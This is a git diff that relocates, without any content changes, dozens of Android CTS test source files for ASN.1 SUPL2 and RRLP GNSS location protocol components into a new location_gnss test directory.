diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StandardClockModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StandardClockModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StdResolution.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StdResolution.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA0.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA0.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA1.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA1.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA1.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMReservedBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMReservedBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMReservedBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMWord.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TLMWord.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TLMWord.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TOA_MeasurementsOfRef.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeRelation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeRelation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeRelation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlot.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlot.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlot.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlotScheme.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TimeSlotScheme.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TimeSlotScheme.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet2.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet2.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet2.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet3.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet3.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet3.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet4.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UTCmodelSet4.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UTCmodelSet4.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UlPseudoSegInd.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UlPseudoSegInd.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UncompressedEphemeris.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UncompressedEphemeris.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UseMultipleSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/UseMultipleSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/PDU.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/PDU.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/RRLP_Component.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_messages/RRLP_Component.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_end/SUPLEND.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_end/SUPLEND.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/EncodingType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/EncodingType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/FormatIndicator.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/FormatIndicator.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/KeyIdentity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/KeyIdentity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/MAC.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/MAC.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/MAC.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/Notification.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/Notification.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/Notification.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/NotificationType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/NotificationType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/NotificationType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SLPMode.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SLPMode.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SLPMode.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SUPLINIT.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/SUPLINIT.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_init/SUPLINIT.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify/Ver2_SUPLNOTIFY.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/NotificationResponse.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/supl_notify_response/NotificationResponse.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/supl_notify_response/NotificationResponse.java
